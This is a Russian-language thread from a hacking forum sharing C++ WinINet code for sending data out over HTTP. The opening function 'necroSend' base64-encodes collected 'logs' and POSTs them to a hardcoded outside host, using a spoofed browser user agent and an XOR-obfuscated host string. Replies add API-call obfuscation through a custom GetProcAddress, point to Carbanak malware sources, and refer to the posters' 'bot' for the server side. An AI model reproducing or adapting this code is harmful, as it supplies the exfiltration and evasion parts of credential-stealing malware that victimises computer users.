• XSS.stack #1 – первый литературный журнал от юзеров форума

С++ http/s send post request wininet

Crypto Locker

(L3) cache
Забанен
Регистрация
22.10.2019
Сообщения
177
Реакции
116
Пожалуйста, обратите внимание, что пользователь заблокирован
C++:
void necroSend(PCSTR GetLink, PCSTR Logs, SIZE_T LogsSize) {
    SIZE_T outsize;
    LPCSTR param = custom_base64Encode((LPBYTE)Logs, LogsSize, &outsize);

    CHAR* szReq = (CHAR*)_alloc(outsize + 6);
    wnsprintfA(szReq, outsize + 6, "logs=%s", param);

    HINTERNET hIntSession = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    HINTERNET hHttpSession = InternetConnectA(hIntSession, xorstr("arigato.com"), 80, 0, 0, INTERNET_SERVICE_HTTP, 0, NULL);
    HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "POST", GetLink, 0, 0, 0, INTERNET_FLAG_RELOAD, 0);

    const WCHAR* szHeaders = L"Content-Type: application/x-www-form-urlencoded";
    HttpSendRequestW(hHttpRequest, szHeaders, lstrlenW(szHeaders), (CHAR*)szReq, lstrlenA(szReq));

    InternetCloseHandle(hHttpRequest);
    InternetCloseHandle(hHttpSession);
    InternetCloseHandle(hIntSession);
    _free((CHAR*)param);
    _free((CHAR*)szReq);
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Немного дополню:
C:
//char* host - 127.0.0.1
//char* path - "/index.php"
//char* req - "&test=1"
//BOOL HTTPS - TRUE - использование HTTPS, FALSE - HTTP
//BOOL GET - TRUE - GET-запрос. FALSE - POST
char* HTTPReq(char* host, char* path, char* req, BOOL HTTPS, BOOL GET)
{
    char szData[1024];

    HINTERNET hIntSession = API(WININET, InternetOpenA)("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hIntSession != NULL)
    {
        HINTERNET hConnect = API(WININET, InternetConnectA)(hIntSession, host, HTTPS ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
        if (hConnect != NULL)
        {
            HINTERNET hRequest = API(WININET, HttpOpenRequestA)(hConnect, GET ? XorStr("GET") : XorStr("POST"), path, NULL, NULL, 0, HTTPS ? INTERNET_FLAG_SECURE : INTERNET_FLAG_KEEP_CONNECTION, 1);
            if (hRequest != NULL)
            {
                char* headers = XorStr("Content-Type: application/x-www-form-urlencoded");

                if (API(WININET, HttpSendRequestA)(hRequest, headers, strLen(headers), (LPVOID)req, strLen(req)))
                {
                    for (;;)
                    {
                        DWORD dwByteRead;

                        if (API(WININET, InternetReadFile)(hRequest, szData, sizeof(szData) - 1, &dwByteRead))
                            break;
                    }
                }
                API(WININET, InternetCloseHandle)(hRequest);
            }
            API(WININET, InternetCloseHandle)(hConnect);
        }
        API(WININET, InternetCloseHandle)(hIntSession);
    }

    return szData;
}

Макросы API(...), XorStr(...) просто вырежете
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Сори за оффтоп*
Но зачем ,это сюда заливать? Это можно найти в гугле ~2 ссылка и ты найдешь нужную инфу.
Код особено не смотрел ,но зачем использовать HttpSendRequestW если ты char используешь?
Мало того ,что эт найти просто ,так ты льешь код с ошибками ТС?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Сори за оффтоп*
Но зачем ,это сюда заливать? Это можно найти в гугле ~2 ссылка и ты найдешь нужную инфу.
Код особено не смотрел ,но зачем использовать HttpSendRequestW если ты char используешь?
Мало того ,что эт найти просто ,так ты льешь код с ошибками ТС?
Ну хз, как вам, но мне было полезно.
До этого ебался с сокетами+openssl, совсем забыв о wininet
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Сори за оффтоп*
Но зачем ,это сюда заливать? Это можно найти в гугле ~2 ссылка и ты найдешь нужную инфу.
Код особено не смотрел ,но зачем использовать HttpSendRequestW если ты char используешь?
Мало того ,что эт найти просто ,так ты льешь код с ошибками ТС?
Это пример использования, самый наглядный на мой взгляд. По лучше чем реализация CopyFile во всяком случае.

а Wide функция это на будующее, вдруг нужно будет юникод слать, в перёд вы не смотрите мистер =)
 
Это пример использования, самый наглядный на мой взгляд. По лучше чем реализация CopyFile во всяком случае.

а Wide функция это на будующее, вдруг нужно будет юникод слать, в перёд вы не смотрите мистер =)
а причём здесь вообще моя реализация CopyFile? ?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Это пример использования, самый наглядный на мой взгляд. По лучше чем реализация CopyFile во всяком случае.

а Wide функция это на будующее, вдруг нужно будет юникод слать, в перёд вы не смотрите мистер =)
Конечно ,костыли прикрываем тип оно так надо ,в будущем доделаем. А ,что мешало сразу под юникод все заточить и не делать бред код?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну хз, как вам, но мне было полезно.
До этого ебался с сокетами+openssl, совсем забыв о wininet
Мдаааа ,не уметь пользоватся поисковиком в 2019 году - эт сильно ;)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Конечно ,костыли прикрываем тип оно так надо ,в будущем доделаем. А ,что мешало сразу под юникод все заточить и не делать бред код?
Что нужно, то и заточил под юникод, к этому ты и доебался =)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Конечно ,костыли прикрываем тип оно так надо ,в будущем доделаем. А ,что мешало сразу под юникод все заточить и не делать бред код?
Что нужно, то и заточил под юникод, к этому ты и доебался =)
Где тут костыль то?

что сложного заменить на:
const CHAR* szHeaders = "Content-Type: application/x-www-form-urlencoded";
HttpSendRequestA(hHttpRequest, szHeaders, lstrlenA(szHeaders), (CHAR*)szReq, lstrlenA(szReq));
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Что нужно, то и заточил под юникод, к этому ты и доебался =)
Где тут костыль то?

что сложного заменить на:
const CHAR* szHeaders = "Content-Type: application/x-www-form-urlencoded";
HttpSendRequestA(hHttpRequest, szHeaders, lstrlenA(szHeaders), (CHAR*)szReq, lstrlenA(szReq));
Это кст вопрос к тебе - почему ты не заменил - это? + Почему у тебя нет проверок и почему хендлы не закрываешь. P.s. оффтоп ,но я боюсь представить какой у тебя софт, если такие ошибки совершаешь
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Что нужно, то и заточил под юникод, к этому ты и доебался =)
Где тут костыль то?

что сложного заменить на:
const CHAR* szHeaders = "Content-Type: application/x-www-form-urlencoded";
HttpSendRequestA(hHttpRequest, szHeaders, lstrlenA(szHeaders), (CHAR*)szReq, lstrlenA(szReq));
Ещё раз взгялнул на код - зачем писать (CHAR*)szReq ,если szReq ,это и так CHAR* ??

+ Я не хочу тебя обижать ,но если ты не понимаешь почему - это бред код ,ну ,возможно, стоит иногда документацию почитать?(О использовании указателей, о том ,что хендлы - стоит закрывать ,о том ,что стоит использовать if ,чтобы понять стоит ли дальше продолжать работу функции и тд)
 
Последнее редактирование:
Немного дополню:
C:
//char* host - 127.0.0.1
//char* path - "/index.php"
//char* req - "&test=1"
//BOOL HTTPS - TRUE - использование HTTPS, FALSE - HTTP
//BOOL GET - TRUE - GET-запрос. FALSE - POST
char* HTTPReq(char* host, char* path, char* req, BOOL HTTPS, BOOL GET)
{
    char szData[1024];

    HINTERNET hIntSession = API(WININET, InternetOpenA)("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hIntSession != NULL)
    {
        HINTERNET hConnect = API(WININET, InternetConnectA)(hIntSession, host, HTTPS ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
        if (hConnect != NULL)
        {
            HINTERNET hRequest = API(WININET, HttpOpenRequestA)(hConnect, GET ? XorStr("GET") : XorStr("POST"), path, NULL, NULL, 0, HTTPS ? INTERNET_FLAG_SECURE : INTERNET_FLAG_KEEP_CONNECTION, 1);
            if (hRequest != NULL)
            {
                char* headers = XorStr("Content-Type: application/x-www-form-urlencoded");

                if (API(WININET, HttpSendRequestA)(hRequest, headers, strLen(headers), (LPVOID)req, strLen(req)))
                {
                    for (;;)
                    {
                        DWORD dwByteRead;

                        if (API(WININET, InternetReadFile)(hRequest, szData, sizeof(szData) - 1, &dwByteRead))
                            break;
                    }
                }
                API(WININET, InternetCloseHandle)(hRequest);
            }
            API(WININET, InternetCloseHandle)(hConnect);
        }
        API(WININET, InternetCloseHandle)(hIntSession);
    }

    return szData;
}

Макросы API(...), XorStr(...) просто вырежете
Если я правильно понимаю, то скорее всего макрос API сделан для какой-никакой, но обфускации вызовов винапи, как если не секрет ты добился этого через макросы и есть ли варианты получше?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Если я правильно понимаю, то скорее всего макрос API сделан для какой-никакой, но обфускации вызовов винапи, как если не секрет ты добился этого через макросы и есть ли варианты получше?
Через макросы просто удобней, под "капотом" кастомный GetProcAddress. Если интересно, покопай сурсы карбанака
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Апну старый топик. Посмотрел и не понял одного, Jeffs, зачем ты выделяешь 1024 байта под ответ? Может произойти переполнение ведь.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Апну старый топик. Посмотрел и не понял одного, Jeffs, зачем ты выделяешь 1024 байта под ответ? Может произойти переполнение ведь.
У меня с сервера ответ приходил размером до 100 байт, с запасом выделил.
Ну и стремный кол я тогда писал))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
У меня с сервера ответ приходил размером до 100 байт, с запасом выделил.
Ну и стремный кол я тогда писал))
Окей. На заметку, получай ответ кусками ( допустим по 1024 байта ), реаллоцируя память в буффере.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Немного дополню:
C:
//char* host - 127.0.0.1
//char* path - "/index.php"
//char* req - "&test=1"
//BOOL HTTPS - TRUE - использование HTTPS, FALSE - HTTP
//BOOL GET - TRUE - GET-запрос. FALSE - POST
char* HTTPReq(char* host, char* path, char* req, BOOL HTTPS, BOOL GET)
{
    char szData[1024];

    HINTERNET hIntSession = API(WININET, InternetOpenA)("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hIntSession != NULL)
    {
        HINTERNET hConnect = API(WININET, InternetConnectA)(hIntSession, host, HTTPS ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
        if (hConnect != NULL)
        {
            HINTERNET hRequest = API(WININET, HttpOpenRequestA)(hConnect, GET ? XorStr("GET") : XorStr("POST"), path, NULL, NULL, 0, HTTPS ? INTERNET_FLAG_SECURE : INTERNET_FLAG_KEEP_CONNECTION, 1);
            if (hRequest != NULL)
            {
                char* headers = XorStr("Content-Type: application/x-www-form-urlencoded");

                if (API(WININET, HttpSendRequestA)(hRequest, headers, strLen(headers), (LPVOID)req, strLen(req)))
                {
                    for (;;)
                    {
                        DWORD dwByteRead;

                        if (API(WININET, InternetReadFile)(hRequest, szData, sizeof(szData) - 1, &dwByteRead))
                            break;
                    }
                }
                API(WININET, InternetCloseHandle)(hRequest);
            }
            API(WININET, InternetCloseHandle)(hConnect);
        }
        API(WININET, InternetCloseHandle)(hIntSession);
    }

    return szData;
}

Макросы API(...), XorStr(...) просто вырежете
если не секрет, как серверную часть сделать на пхпэ? Прост в вебе, а особенно в php нуль
 
Пожалуйста, обратите внимание, что пользователь заблокирован
если не секрет, как серверную часть сделать на пхпэ? Прост в вебе, а особенно в php нуль
Глянь, как это сделано у нас в боте. Там же можешь посмотреть, как слать post/get, тут кривая чуток реализация
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Глянь, как это сделано у нас в боте. Там же можешь посмотреть, как слать post/get, тут кривая чуток реализация
оки, как раз копался) Спасибо)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх